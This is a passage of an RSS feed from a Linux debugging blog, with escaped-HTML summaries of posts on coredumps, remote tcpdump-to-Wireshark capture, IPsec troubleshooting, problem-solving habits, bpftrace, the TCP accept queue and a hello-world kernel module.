style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Wed 2021-01-27 15:02:03 CET  &lt;span style=&#34;color:#f60&#34;&gt;489025&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;1000&lt;/span&gt;   &lt;span style=&#34;color:#f60&#34;&gt;100&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;11&lt;/span&gt; present   /usr/bin/urxvt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Wed 2021-01-27 15:19:08 CET  &lt;span style=&#34;color:#f60&#34;&gt;491085&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;1000&lt;/span&gt;   &lt;span style=&#34;color:#f60&#34;&gt;100&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;11&lt;/span&gt; present   /usr/bin/urxvt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Wed 2021-01-27 15:20:53 CET  &lt;span style=&#34;color:#f60&#34;&gt;434557&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;1000&lt;/span&gt;   &lt;span style=&#34;color:#f60&#34;&gt;100&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;11&lt;/span&gt; present   /usr/bin/urxvt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Wed 2021-01-27 16:39:27 CET  &lt;span style=&#34;color:#f60&#34;&gt;492570&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;1000&lt;/span&gt;   &lt;span style=&#34;color:#f60&#34;&gt;100&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;11&lt;/span&gt; present   /usr/bin/urxvt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Wed 2021-01-27 18:50:17 CET  &lt;span style=&#34;color:#f60&#34;&gt;495418&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;1000&lt;/span&gt;   &lt;span style=&#34;color:#f60&#34;&gt;100&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;11&lt;/span&gt; present   /usr/bin/urxvt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Wed 2021-01-27 18:51:12 CET  &lt;span style=&#34;color:#f60&#34;&gt;499149&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;1000&lt;/span&gt;   &lt;span style=&#34;color:#f60&#34;&gt;100&lt;/span&gt;  &lt;span style=&#34;color:#f60&#34;&gt;11&lt;/span&gt; present   /usr/bin/urxvt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dump the core file the current working directory.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cheatsheet: network debugging on Linux</title>
      <link>https://debugging.works/blog/network-debugging/</link>
      <pubDate>Sun, 16 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/network-debugging/</guid>
      <description>&lt;p&gt;Some useful commands for network debugging on Linux.&lt;/p&gt;&#xA;&lt;h2 id=&#34;wireshark&#34;&gt;&#xA;  Wireshark&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#wireshark&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;&amp;hellip; on remote host&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh server &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;tcpdump -ni any -s0 -U -w - udp port 53&amp;#39;&lt;/span&gt; | wireshark -k -i -&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; on remote host over a jump server&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh -J jumpserver server &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;tcpdump -ni any -s0 -U -w - udp port 53&amp;#39;&lt;/span&gt; | wireshark -k -i -&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; on remote host over a jump server (if the private key/ssh config for the target host lays only on the jump host)&lt;/p&gt;</description>
    </item>
    <item>
      <title>Checklist: debugging IPsec on Linux</title>
      <link>https://debugging.works/blog/debugging-ipsec/</link>
      <pubDate>Sun, 16 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/debugging-ipsec/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://libreswan.org/wiki/Linux_IPsec_Summit_2018_wishlist#Fixup_XFRM_and_tcpdump&#34;&gt;Why IPsec is hard to debug:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The fact that you see some plain text, but not all plain text, is the most confusing aspect of IPsec to system administrators, who now believe hey are leaking plain text.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The better you know how a system works the better you can debug it. So before debugging IPsec read this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://wiki.strongswan.org/projects/strongswan/wiki/CorrectTrafficDump&#34;&gt;https://wiki.strongswan.org/projects/strongswan/wiki/CorrectTrafficDump&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://devcentral.f5.com/s/articles/understanding-ikev1-negotiation-on-wireshark-34187&#34;&gt;https://devcentral.f5.com/s/articles/understanding-ikev1-negotiation-on-wireshark-34187&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;phase-1&#34;&gt;&#xA;  Phase 1&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#phase-1&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Firewall allows &lt;code&gt;udp port 500&lt;/code&gt; incoming? Outgoing traffic allowed?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is there communication between the both IPsec gateways?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check it with &lt;code&gt;tcpdump -ni any host &amp;lt;remote host&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Are we sending packets to the remote endpoint?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is the remote endpoint talking to us?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Are they both talking to each other? We had the problem: We speak IKEv1. They speak IKEv2. Our stack was too old to recognize IKEv2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Are both using the same proposals? You can use Wireshark to compare the parameters.&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Any errors in &lt;code&gt;tail -f /var/log/syslog&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is the secret the same on both endpoints (prevent special characters on really old systems)?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; We had problems using sha2 (the generated keys for phase2 where truncated at the wrong length) - use sha1 or sha512&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Do you think it works?&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to solve hard (technical) problems</title>
      <link>https://debugging.works/blog/solve-hard-technical-problems/</link>
      <pubDate>Sun, 16 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/solve-hard-technical-problems/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://imgs.xkcd.com/comics/git.png&#34; alt=&#34;alt text&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;meta&#34;&gt;&#xA;  Meta&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#meta&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are no hard problems. There is just lack of information about how the system works&lt;/li&gt;&#xA;&lt;li&gt;Remember that the bug is happening for a logical reason&lt;/li&gt;&#xA;&lt;li&gt;Be unreasonably confident in your ability to fix the bug&lt;/li&gt;&#xA;&lt;li&gt;Every error is an opportunity to learn&lt;/li&gt;&#xA;&lt;li&gt;Be aware of the &lt;a href=&#34;https://www.youtube.com/watch?v=ZQUxL4Jm1Lo&#34;&gt;imposter syndrome&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get enough &lt;a href=&#34;https://youtu.be/pwaWilO_Pig&#34;&gt;sleep&lt;/a&gt; and take breaks&lt;/li&gt;&#xA;&lt;li&gt;Try to tackle hard problems in the morning with a fresh mind and without disruption (before you check mails, chat, ticket system, monitoring, &amp;hellip;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;finding-the-root-cause-of-the-problem&#34;&gt;&#xA;  Finding the root cause of the problem&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#finding-the-root-cause-of-the-problem&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What&amp;rsquo;s the error message? Are there any log files?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Read the error description. Every word of it. Twice.&lt;/li&gt;&#xA;&lt;li&gt;Is there a typo somewhere (command line/configuration/code)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Try to get the issue reproducible&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can you reproduce it from the command line?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It&amp;rsquo;s easier for other people to reproduce the issue&lt;/li&gt;&#xA;&lt;li&gt;It&amp;rsquo;s easier to test the fix&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Isolate the problem&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove some parts of the system and try to reproduce the bug&lt;/li&gt;&#xA;&lt;li&gt;Vary one thing at a time while keeping all other things constant&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;issue-still-not-fixed-checklist&#34;&gt;&#xA;  Issue still not fixed? Checklist&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#issue-still-not-fixed-checklist&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Does the problem occur only on a single server? The same thing runs flawless somewhere else?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; What&amp;rsquo;s the difference? Compare!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Can you increase the debug log?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; What parts of the system do you not understand? Take your time and learn about it!&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Do you have multiple issues? Try to solve the underlying issue first&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Get a stable debugging environment&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; When did the problem occur first? What has changed?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is it really a problem or intended behavior (security feature?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Do some sanity checks&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Are you on the right virtual machine?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Can you ping the target host?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is DNS still working?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check network traffic with ngrep/tcpdump. Do you see what you expect?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is one of the disks full?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Are you editing the right file?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Write some garbage and try to compile&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check the monitoring system&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Do other VMs of the customer have problems?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Do other VMs running on the same hypervisor have problems?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is the whole data center down?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is the customer logged in on the system? What is he doing (check bash_history and &lt;code&gt;ps -u&lt;/code&gt;)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;after-some-time-of-debugging&#34;&gt;&#xA;  After some time of debugging&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#after-some-time-of-debugging&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Express the problem to a random teddy bear in an easy and comprehensive way&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Be patient and accept that things just take longer than expected&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Try to understand what happens. Not: endless trial and error guessing&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Is there documentation that can help you understanding the system?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Talk to other people knowing the system better than you&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Problem is not business critical? Set it aside&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Take a break (go for a walk, do some exercises, &amp;hellip;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Step back: What&amp;rsquo;s the actual goal you are trying to achieve? What&amp;rsquo;s the problem?&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; You&amp;rsquo;re out of time and stuck on details?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Use a different approach to solve your actual problem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;if-you-copypaste-from-stackoverflow-we-all-do-at-least-sometimes&#34;&gt;&#xA;  If you copy/paste from Stackoverflow (we all do, at least sometimes)&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#if-you-copypaste-from-stackoverflow-we-all-do-at-least-sometimes&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t copy/paste from Stackoverflow without understanding the actual problem&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t copy/paste from Stackoverflow without understanding the proposed solution&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you don&amp;rsquo;t have time for it right now =&amp;gt; make a note about it (even after solving it)&lt;/li&gt;&#xA;&lt;li&gt;If you don&amp;rsquo;t know what the command/tool is doing =&amp;gt; read the man page &lt;a href=&#34;https://explainshell.com/&#34;&gt;(https://explainshell.com)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t copy/paste commands/code. Type it on your own!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;after-solving-the-issue&#34;&gt;&#xA;  After solving the issue&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#after-solving-the-issue&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Well done! I&amp;rsquo;m glad you didn&amp;rsquo;t give up! It&amp;rsquo;s time to celebrate your success!&lt;/li&gt;&#xA;&lt;li&gt;What have you learned during the journey?&lt;/li&gt;&#xA;&lt;li&gt;What were the wrong assumptions?&lt;/li&gt;&#xA;&lt;li&gt;Can prevent the problem from happening again in the future (write tests/docs, monitoring)?&lt;/li&gt;&#xA;&lt;li&gt;How can you solve a similar problem in future even faster?&lt;/li&gt;&#xA;&lt;/ol&gt;</description>
    </item>
    <item>
      <title>How to use bpftrace</title>
      <link>https://debugging.works/blog/how-to-bpftrace/</link>
      <pubDate>Sun, 03 May 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/how-to-bpftrace/</guid>
      <description>&lt;p&gt;So. What&amp;rsquo;s bpftrace?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;bpftrace is a high-level tracing language for Linux enhanced Berkeley Packet Filter (eBPF) available in recent Linux kernels (4.x). bpftrace uses LLVM as a backend to compile scripts to BPF-bytecode and makes use of BCC for interacting with the Linux BPF system, as well as existing Linux tracing capabilities: kernel dynamic tracing (kprobes), user-level dynamic tracing (uprobes), and tracepoints. The bpftrace language is inspired by awk and C, and predecessor tracers such as DTrace and SystemTap. bpftrace was created by Alastair Robertson.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Hands-on: Linux Accept Queue</title>
      <link>https://debugging.works/blog/linux-accept-queue/</link>
      <pubDate>Thu, 30 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/linux-accept-queue/</guid>
      <description>&lt;p&gt;&lt;strong&gt;tldr&lt;/strong&gt;: we use Apache Benchmark to send requests to an Apache + PHP-FPM backend while looking at the output of some performance analysis tools. Therefore I captured my terminal with asciinema. On heavy load Linux will queue packets to the Accept Queue. If the queue is full the kernel will drop packets. The source code is available on &lt;a href=&#34;https://github.com/kmille/linux-accept-queue&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I recently experienced the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Monitoring said: haproxy backend is down&lt;/li&gt;&#xA;&lt;li&gt;I tried to connect to the backend with &lt;code&gt;curl -v&lt;/code&gt; and I could verify: I couldn&amp;rsquo;t establish a tcp connection&lt;/li&gt;&#xA;&lt;li&gt;On on the server I checked&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input checked=&#34;&#34; disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Apache is running&lt;/li&gt;&#xA;&lt;li&gt;&lt;input checked=&#34;&#34; disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; port 80 is open&lt;/li&gt;&#xA;&lt;li&gt;&lt;input checked=&#34;&#34; disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; iptables ACCEPTs port 80&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; still no tcp connection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The actual problem was the slow application behind Apache. The Accept Queue of Apache was full so the Linux kernel dropped SYN packets. Cloudflare published a fantastic blog post where they describe the insights of the Accept Queue (&lt;a href=&#34;https://blog.cloudflare.com/syn-packet-handling-in-the-wild/%29&#34;&gt;https://blog.cloudflare.com/syn-packet-handling-in-the-wild/)&lt;/a&gt;. You should definitely read it before continuing.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to debug a Linux Kernel Module</title>
      <link>https://debugging.works/blog/debug-a-kernel-module/</link>
      <pubDate>Sun, 26 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/debug-a-kernel-module/</guid>
      <description>&lt;h2 id=&#34;build-an-example-module&#34;&gt;&#xA;  Build an example module&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#build-an-example-module&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start by write a simple test module. We can try the &lt;code&gt;Hello World&lt;/code&gt; example from &lt;a href=&#34;https://www.cyberciti.biz/tips/build-linux-kernel-module-against-installed-kernel-source-tree.html&#34;&gt;cyberciti.biz&lt;/a&gt; You first have to install the kernel header files with &lt;code&gt;apt-get install kernel-headers-$(uname -r)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Content of &lt;code&gt;hello.c&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e5e5e5&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#e5e5e5&#34;&gt;&amp;lt;linux/module.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#e5e5e5&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e5e5e5&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#e5e5e5&#34;&gt;&amp;lt;linux/kernel.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#e5e5e5&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ee82ee&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#ff0&#34;&gt;init_module&lt;/span&gt;(&lt;span style=&#34;color:#ee82ee&#34;&gt;void&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff0&#34;&gt;printk&lt;/span&gt;(KERN_INFO &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;init_module() called&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f00&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f60&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ee82ee&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#ff0&#34;&gt;cleanup_module&lt;/span&gt;(&lt;span style=&#34;color:#ee82ee&#34;&gt;void&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff0&#34;&gt;printk&lt;/span&gt;(KERN_INFO &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;cleanup_module() called&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff0&#34;&gt;MODULE_LICENSE&lt;/span&gt;(&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;GPL&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Content of &lt;code&gt;Makefile&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-Makefile&#34; data-lang=&#34;Makefile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#eedd82&#34;&gt;obj-m&lt;/span&gt; := hello.o&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#eedd82&#34;&gt;KDIR&lt;/span&gt; := /lib/modules/&lt;span style=&#34;color:#f00&#34;&gt;$(&lt;/span&gt;shell uname -r&lt;span 